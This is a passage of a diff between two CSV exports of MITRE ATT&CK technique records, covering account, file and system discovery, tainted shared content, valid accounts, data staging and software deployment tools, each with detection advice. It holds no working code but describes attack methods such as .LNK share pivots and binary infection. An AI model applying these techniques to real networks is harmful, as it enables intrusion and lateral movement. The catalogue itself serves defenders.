anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",,,,,False,,,,"['Linux', 'macOS', 'Windows', 'Network']",,,,3.1 -2017-05-31 21:31:06.988000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1087', external_id='T1087'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/575.html', external_id='CAPEC-575'), ExternalReference(source_name='Elastic - Koadiac Detection with EQL', description='Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', url='https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql')]",attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-14 12:26:11.595000+00:00,Account Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Daniel Stepanic, Elastic', 'Microsoft Threat Intelligence Center (MSTIC)', 'Travis Smith, Tripwire']","['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",False,,"['Linux', 'macOS', 'Windows', 'Network']",3.1,,,,,,, +attack-pattern,attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:06.988Z,2021-10-13T14:05:15.038Z,Account Discovery,Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087', 'external_id': 'T1087'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html', 'external_id': 'CAPEC-575'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic', 'Microsoft Threat Intelligence Center (MSTIC)', 'Travis Smith, Tripwire']","['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",,,,,False,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,2.3 -2017-05-31 21:31:04.710000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",2.3,,,,,,, +attack-pattern,attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:04.710Z,2021-08-23T20:44:32.048Z,File and Directory Discovery,"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1083', external_id='T1083'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/127.html', external_id='CAPEC-127'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/497.html', external_id='CAPEC-497'), ExternalReference(source_name='Windows Commands JPCERT', description='Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.', url='http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html')]",attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-09-16 16:02:16.770000+00:00,File and Directory Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1083', 'external_id': 'T1083'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/127.html', 'external_id': 'CAPEC-127'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/497.html', 'external_id': 'CAPEC-497'}, {'source_name': 'Windows Commands JPCERT', 'description': 'Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.', 'url': 'https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,"['Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls']",,1.3 -2017-05-31 21:31:04.307000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.3,,"['Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls']",,,,, +attack-pattern,attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:04.307Z,2021-10-13T23:21:27.750Z,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges. +Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) -Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1082', external_id='T1082'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/312.html', external_id='CAPEC-312'), ExternalReference(source_name='Amazon Describe Instance', description='Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', url='https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'), ExternalReference(source_name='Google Instances Resource', description='Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.', url='https://cloud.google.com/compute/docs/reference/rest/v1/instances'), ExternalReference(source_name='Microsoft Virutal Machine API', description='Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', url='https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get')]",attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-08 10:33:01.066000+00:00,System Information Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1082', 'external_id': 'T1082'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/312.html', 'external_id': 'CAPEC-312'}, {'source_name': 'OSX.FairyTale', 'description': 'Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.', 'url': 'https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'Amazon Describe Instance', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'}, {'source_name': 'Google Instances Resource', 'description': 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.', 'url': 'https://cloud.google.com/compute/docs/reference/rest/v1/instances'}, {'source_name': 'Microsoft Virutal Machine API', 'description': 'Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Maril Vernon @shewhohacks', 'Praetorian']","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",,,,,False,,,['User'],"['Windows', 'IaaS', 'Linux', 'macOS']",,,,2.2 -2017-05-31 21:31:01.759000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5," +In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",False,['User'],"['Windows', 'IaaS', 'Linux', 'macOS']",2.3,,,,,,, +attack-pattern,attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:01.759Z,2021-10-17T14:12:33.188Z,Taint Shared Content," Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) -Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1080', external_id='T1080'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/562.html', external_id='CAPEC-562'), ExternalReference(source_name='Retwin Directory Share Pivot', description='Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.', url='https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html')]",attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-31 22:14:56.107000+00:00,Taint Shared Content,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Michal Dida, ESET', 'David Routin']","['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Network Share: Network Share Access']",,,,,"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. +Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1080', 'external_id': 'T1080'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/562.html', 'external_id': 'CAPEC-562'}, {'source_name': 'Retwin Directory Share Pivot', 'description': 'Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.', 'url': 'https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Michal Dida, ESET', 'David Routin']","['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Network Share: Network Share Access']",,"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. -Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",,,,,False,,,['User'],['Windows'],,['Access to shared folders and content with write permissions'],,1.2 -2017-05-31 21:31:00.645000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. +Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",False,['User'],"['Windows', 'Office 365', 'SaaS', 'Linux', 'macOS']",1.3,,['Access to shared folders and content with write permissions'],,,,, +attack-pattern,attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:00.645Z,2021-10-19T03:29:48.018Z,Valid Accounts,"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. -The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1078', external_id='T1078'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/560.html', external_id='CAPEC-560'), ExternalReference(source_name='TechNet Credential Theft', description='Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn535501.aspx'), ExternalReference(source_name='TechNet Audit Policy', description='Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn487457.aspx')]",attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-12 18:27:52.298000+00:00,Valid Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yossi Weizman, Azure Defender Research Team', 'Netskope', 'Mark Wee', 'Praetorian']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']","['Firewall', 'Host intrusion prevention systems', 'Network intrusion detection system', 'Application control', 'System access controls', 'Anti-virus']",,,,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078', 'external_id': 'T1078'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'}, {'source_name': 'TechNet Credential Theft', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security', 'Yossi Weizman, Azure Defender Research Team', 'Netskope', 'Mark Wee', 'Praetorian']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']","['Firewall', 'Host intrusion prevention systems', 'Network intrusion detection system', 'Application control', 'System access controls', 'Anti-virus']","Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). -Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",,,"['User', 'Administrator']",,False,,,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,2.2 -2017-05-31 21:30:58.938000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) +Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",False,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",2.3,,,,"['User', 'Administrator']",,, +attack-pattern,attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:58.938Z,2021-03-08T10:33:00.855Z,Data Staged,"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) -Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1074', external_id='T1074'), ExternalReference(source_name='PWC Cloud Hopper April 2017', description='PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.', url='https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020')]",attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-03-08 10:33:00.855000+00:00,Data Staged,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Praetorian', 'Shane Tully, @securitygypsy']","['File: File Access', 'File: File Creation', 'Command: Command Execution']",,,,,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074', 'external_id': 'T1074'}, {'source_name': 'PWC Cloud Hopper April 2017', 'description': 'PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Shane Tully, @securitygypsy']","['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,1.3 -2017-05-31 21:30:57.201000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,,"['Windows', 'IaaS', 'Linux', 'macOS']",1.3,,,,,,, +attack-pattern,attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:57.201Z,2020-12-11T17:00:00.938Z,Software Deployment Tools,"Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. -The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1072', external_id='T1072'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/187.html', 